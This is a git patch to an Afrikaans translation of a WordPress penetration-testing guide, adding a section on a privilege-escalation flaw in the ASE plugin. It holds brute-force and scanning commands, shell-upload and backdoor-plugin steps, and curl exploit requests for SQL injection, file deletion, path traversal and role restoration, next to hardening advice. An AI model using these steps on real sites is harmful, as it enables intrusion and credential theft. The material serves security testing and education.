From 942816a51fa754f519a74ef34bf3fd2cf0ce63c4 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 16:37:36 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/wordpress.md --- .../pentesting-web/wordpress.md | 124 ++++++++++++++---- 1 file changed, 95 insertions(+), 29 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 4e04d5919..833e4ffb7 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -30,7 +30,7 @@ **Post eksploitatie** -- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabel voorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing. +- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasenaam, databasisgasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing. ### Gebruikers Toestemmings @@ -132,7 +132,7 @@ Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_ ``` -Die boodskap _"Onjuiste gebruikersnaam of wagwoord"_ binne 'n 200 kode antwoord moet verskyn as die geloofsbriewe nie geldig is nie. +Die boodskap _"Onkorrekte gebruikersnaam of wagwoord"_ binne 'n 200 kode antwoord moet verskyn as die geloofsbriewe nie geldig is nie. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) @@ -211,7 +211,7 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\ Wanneer hierdie lêer **geaccess** word, word 'n "**zware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\ -Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS). +Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek) aangeroep, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS). Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak). @@ -229,7 +229,7 @@ Dit is die antwoord wanneer dit nie werk nie: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Hierdie hulpmiddel kontroleer of die **methodName: pingback.ping** en vir die pad **/wp-json/oembed/1.0/proxy** bestaan, en as dit bestaan, probeer dit om dit te exploiteer. +Hierdie hulpmiddel kontroleer of die **methodName: pingback.ping** bestaan en vir die pad **/wp-json/oembed/1.0/proxy** en as dit bestaan, probeer dit om dit te exploiteer. ## Outomatiese Hulpmiddels ```bash @@ -237,9 +237,9 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Kry toegang deur 'n bietjie te oorskryf +## Kry toegang deur 'n bit te oorskryf -Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omflip. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omflip om die NOT (`!`) operasie te NOP. +Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omflip. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omflip om die NOT (`!`) operasie te NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -254,11 +254,11 @@ Verander die inhoud na 'n php shell: ![](<../../images/image (384).png>) -Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang verkry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF -Jy kan gebruik maak van: +Jy kan gebruik: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` @@ -268,7 +268,7 @@ to get a session. ### PHP plugin -Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\ +Dit mag moontlik wees om .php lêers as 'n plugin op te laai.\ Skep jou php backdoor met byvoorbeeld: ![](<../../images/image (183).png>) @@ -281,7 +281,7 @@ Laai die plugin op en druk Installeer Nou: ![](<../../images/image (249).png>) -Klik op Voortgaan: +Klik op Procced: ![](<../../images/image (70).png>) @@ -289,7 +289,7 @@ Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell op ![](<../../images/image (462).png>) -Toegang daartoe en jy sal die URL sien om die omgekeerde shell uit te voer: +Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer: ![](<../../images/image (1006).png>) @@ -307,17 +307,17 @@ Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is o - Die Metasploit-raamwerk bied 'n eksploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongeoorloofde toegang tot die webwerf verleen. - Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf te exploiteer. -Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard vir die installasie en aktivering van die plugin uitbeeld. Dit is egter belangrik om op te let dat die eksploitering van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetrasietoetsing met eksplisiete toestemming. +Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard vir die installasie en aktivering van die plugin uitbeeld. Dit is egter belangrik om op te let dat die eksploitering van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetrasietoetsing met eksplisiete toestemming. **Vir meer gedetailleerde stappe, kyk:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n skrip wat ontwerp is om 'n **Cross-Site Scripting (XSS)** kwesbaarheid na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress te eskaleer. Vir meer inligting, kyk [**hierdie pos**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir WordPress weergawes 6.X.X, 5.X.X en 4.X.X. en laat toe om:** -- _**Privilege Escalation:**_ Skep 'n gebruiker in WordPress. +- _**Privilegie Eskalasie:**_ Skep 'n gebruiker in WordPress. - _**(RCE) Aangepaste Plugin (backdoor) Oplaai:**_ Laai jou aangepaste plugin (backdoor) na WordPress op. -- _**(RCE) Ingeboude Plugin Wysig:**_ Wysig 'n Ingeboude Plugin in WordPress. -- _**(RCE) Ingeboude Tema Wysig:**_ Wysig 'n Ingeboude Tema in WordPress. +- _**(RCE) Ingeboude Plugin Wysig:**_ Wysig 'n Ingeboude Plugins in WordPress. +- _**(RCE) Ingeboude Tema Wysig:**_ Wysig 'n Ingeboude Themes in WordPress. - _**(Aangepas) Aangepaste Eksploite:**_ Aangepaste Eksploite vir Derdeparty WordPress Plugins/Themes. ## Post Exploitation @@ -338,14 +338,14 @@ Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om - **`wp_ajax`** -Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, outorisering of verifikasiefoute bevat. Boonop is dit soortgelyk aan die frekwensie dat hierdie funksies beide die verifikasie en outorisering op die bestaan van 'n wordpress nonce gaan baseer wat **enige gebruiker wat in die Wordpress-instantie geverifieer is, mag hê** (ongeag sy rol). +Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit soortgelyk aan 'n frekwensie dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce gaan baseer wat **enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hê** (ongeag sy rol). Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**Die gebruik van `nopriv` maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde).** +**Die gebruik van `nopriv` maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde nie).** > [!CAUTION] > Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, dan kyk hierdie funksie net of die gebruiker ingelog is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae bevoorregte gebruikers mag toegang hê tot hoë bevoorregte aksies. @@ -368,17 +368,17 @@ Die `permission_callback` is 'n terugroep funksie wat nagaan of 'n gegewe gebrui - **Direkte toegang tot die php-lêer** -Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, gaan dit deur enige gebruiker uitgebuit kan word. +Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, sal dit deur enige gebruiker uitgebuit kan word. ### Ongeauthentiseerde Willekeurige Lêer Verwydering via wp_ajax_nopriv (Litho Tema <= 3.0) -WordPress temas en plugins stel dikwels AJAX-handlers bloot deur die `wp_ajax_` en `wp_ajax_nopriv_` haak. Wanneer die **_nopriv_** variasie gebruik word **word die terugroep bereikbaar deur ongeauthentiseerde besoekers**, so enige sensitiewe aksie moet addisioneel implementeer: +WordPress temas en plugins stel dikwels AJAX-handelaars bloot deur die `wp_ajax_` en `wp_ajax_nopriv_` haakies. Wanneer die **_nopriv_** variasie gebruik word **word die terugroep bereikbaar deur ongeauthentiseerde besoekers**, so enige sensitiewe aksie moet addisioneel implementeer: 1. 'n **kapasiteitskontrole** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en 2. 'n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en 3. **Streng invoer sanitisering / validasie**. -Die Litho multipurpose tema (< 3.1) het daardie 3 kontroles in die *Verwyder Font Familie* kenmerk vergeet en het uiteindelik die volgende kode gestuur (vereenvoudig): +Die Litho multipurpose tema (< 3.1) het daardie 3 kontroles in die *Verwyder Font Familie* kenmerk vergeet en het uiteindelik die volgende kode (vereenvoudig) gestuur: ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -399,9 +399,9 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove ``` Probleme wat deur hierdie snit ingebring word: -* **Ongeauthentiseerde toegang** – die `wp_ajax_nopriv_` haak is geregistreer. +* **Nie-geverifieerde toegang** – die `wp_ajax_nopriv_` haak is geregistreer. * **Geen nonce / vermoë kontrole nie** – enige besoeker kan die eindpunt bereik. -* **Geen pad sanitisering nie** – die gebruiker-beheerde `fontfamily` string word aan 'n lêerstelsel pad gekonnekteer sonder filtrering, wat klassieke `../../` traversie toelaat. +* **Geen pad sanitisering nie** – die gebruiker-beheerde `fontfamily` string word aan 'n lêerstelsel pad gekonkateneer sonder filtrering, wat klassieke `../../` traversie toelaat. #### Exploitatie @@ -418,7 +418,7 @@ Ander impakvolle teikens sluit plugin/tema `.php` lêers in (om sekuriteitsplugi #### Ontdekkingskontrolelys * Enige `add_action( 'wp_ajax_nopriv_...')` terugroep wat lêersisteem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.). -* Samevoeging van ongesanitiseerde gebruikersinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`). +* Samevoeging van ongesaniteerde gebruikersinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`). * Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`. #### Versterking @@ -441,16 +441,80 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] -> **Behandel altyd** enige skryf/verwyder operasie op skyf as bevoorreg en dubbelkontroleer: +> **Behandel** enige skryf/verwyder operasie op skyf altyd as bevoorreg en dubbelkontroleer: > • Verifikasie • Magtiging • Nonce • Invoer sanitasie • Pad beperking (bv. via `realpath()` plus `str_starts_with()`). --- +### Bevoegdheidstoename via verouderde rolherstel en ontbrekende magtiging (ASE "Sien Admin as Rol") + +Baie plugins implementeer 'n "sien as rol" of tydelike rol-wissel funksie deur die oorspronklike rol(le) in gebruikersmeta te stoor sodat dit later herstel kan word. As die herstelpad slegs op versoekparameters staatmaak (bv., `$_REQUEST['reset-for']`) en 'n plugin-onderhoubare lys sonder om vermoëns en 'n geldige nonce te kontroleer, word dit 'n vertikale bevoegdheidstoename. + +'n Werklike voorbeeld is gevind in die Admin en Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset tak het rolle herstel gebaseer op `reset-for=` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()` kontrole of 'n nonce verifikasie uitgevoer voordat dit huidige rolle verwyder en die gestoor rolle van gebruikersmeta `_asenha_view_admin_as_original_roles` weer bygevoeg het nie: +```php +// Simplified vulnerable pattern +if ( isset( $_REQUEST['reset-for'] ) ) { +$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); +$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; + +if ( in_array( $reset_for_username, $usernames, true ) ) { +$u = get_user_by( 'login', $reset_for_username ); +foreach ( $u->roles as $role ) { $u->remove_role( $role ); } +$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); +foreach ( $orig as $r ) { $u->add_role( $r ); } +} +} +``` +Waarom dit exploiteerbaar is + +- Vertrou op `$_REQUEST['reset-for']` en 'n plugin opsie sonder server-kant outorisering. +- As 'n gebruiker voorheen hoër bevoegdhede in `_asenha_view_admin_as_original_roles` gestoor het en verlaag is, kan hulle dit herstel deur die reset pad te volg. +- In sommige implementasies kan enige geverifieerde gebruiker 'n reset vir 'n ander gebruikersnaam wat steeds in `viewing_admin_as_role_are` teenwoordig is, aktiveer (gebroke outorisering). + +Aanval vereistes + +- Kwetsbare plugin weergawe met die funksie geaktiveer. +- Teiken rekening het 'n verouderde hoë-bevoegdheid rol gestoor in gebruikersmeta van vroeëre gebruik. +- Enige geverifieerde sessie; ontbrekende nonce/kapasiteit op die reset vloei. + +Eksploitatie (voorbeeld) +```bash +# While logged in as the downgraded user (or any auth user able to trigger the code path), +# hit any route that executes the role-switcher logic and include the reset parameter. +# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. +curl -s -k -b 'wordpress_logged_in=...' \ +'https://victim.example/wp-admin/?reset-for=' +``` +Op kwesbare weergawes verwyder dit huidige rolle en voeg die gestoor oorspronklike rolle (bv. `administrator`) weer by, wat effektief privaathede verhoog. + +Detectie kontrolelys + +- Soek na rol-wissel funksies wat “oorspronklike rolle” in gebruikersmeta behou (bv. `_asenha_view_admin_as_original_roles`). +- Identifiseer reset/herstel paaie wat: +- Gebruikersname lees vanaf `$_REQUEST` / `$_GET` / `$_POST`. +- Rolle wysig via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`. +- Magtig op grond van 'n plugin opsie array (bv. `viewing_admin_as_role_are`) in plaas van die akteur se vermoëns. + +Versterking + +- Handhaaf vermoënskontroles op elke staat-veranderende tak (bv. `current_user_can('manage_options')` of strenger). +- Vereis nonces vir alle rol/toestemming mutasies en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`. +- Vertrou nooit op versoek-gelewerde gebruikersname nie; los die teiken gebruiker op die bediener-kant op grond van die geverifieerde akteur en eksplisiete beleid. +- Ongeldig “oorspronklike rolle” toestand op profiel/rol opdaterings om verouderde hoë-privaatheid herstel te vermy: +```php +add_action( 'profile_update', function( $user_id ) { +delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); +}, 10, 1 ); +``` +- Oorweeg om minimale toestand te stoor en tydsbeperkte, vermoë-gewakte tokens te gebruik vir tydelike rolwisselings. + +--- + ## WordPress Beskerming ### Gereelde Opdaterings -Maak seker dat WordPress, plugins, en temas op datum is. Bevestig ook dat outomatiese opdatering geaktiveer is in wp-config.php: +Maak seker dat WordPress, plugins en temas op datum is. Bevestig ook dat outomatiese opdatering geaktiveer is in wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -470,7 +534,7 @@ Ook, **installeer slegs betroubare WordPress-inproppe en temas**. - Gebruik **sterk wagwoorde** en **2FA** - Periodiek **hersien** gebruikers **toestemmings** - **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom -- Hernoem **`wp-admin.php`** lêer en laat slegs toegang intern of vanaf sekere IP-adresse toe. +- Hernoem **`wp-admin.php`** lêer en laat slegs interne toegang toe of vanaf sekere IP-adresse. ### Ongeoutentiseerde SQL-inspuiting via onvoldoende validasie (WP Job Portal <= 2.3.2) @@ -488,7 +552,7 @@ Issues introduced by this snippet: 1. **Ongefilterde gebruikersinvoer** – `parentid` kom regstreeks van die HTTP-versoek. 2. **String-konkatenasie binne die WHERE-klausule** – geen `is_numeric()` / `esc_sql()` / voorbereide verklaring. -3. **Ongeauthentiseerde bereikbaarheid** – alhoewel die aksie uitgevoer word deur `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan verkry vanaf 'n openbare bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit. +3. **Ongeoutentiseerde bereikbaarheid** – alhoewel die aksie uitgevoer word deur `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan verkry vanaf 'n openbare bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit. #### Exploitatie @@ -507,9 +571,9 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ Die antwoord openbaar die resultaat van die ingespotte navraag of verander die databasis, wat SQLi bewys. -### Ongeauthentiseerde Arbitrêre Lêer Aflaai / Pad Traversal (WP Job Portal <= 2.3.2) +### Ongeoutentiseerde Arbitrêre Lêer Aflaai / Pad Traversal (WP Job Portal <= 2.3.2) -Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op skyf** af te laai via pad traversie. Die kwesbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`: +Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op skyf** af te laai via pad traversal. Die kwesbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... @@ -532,5 +596,7 @@ Die bediener antwoord met die inhoud van `wp-config.php`, wat DB-akkrediteer en - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) +- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) {{#include ../../banners/hacktricks-training.md}}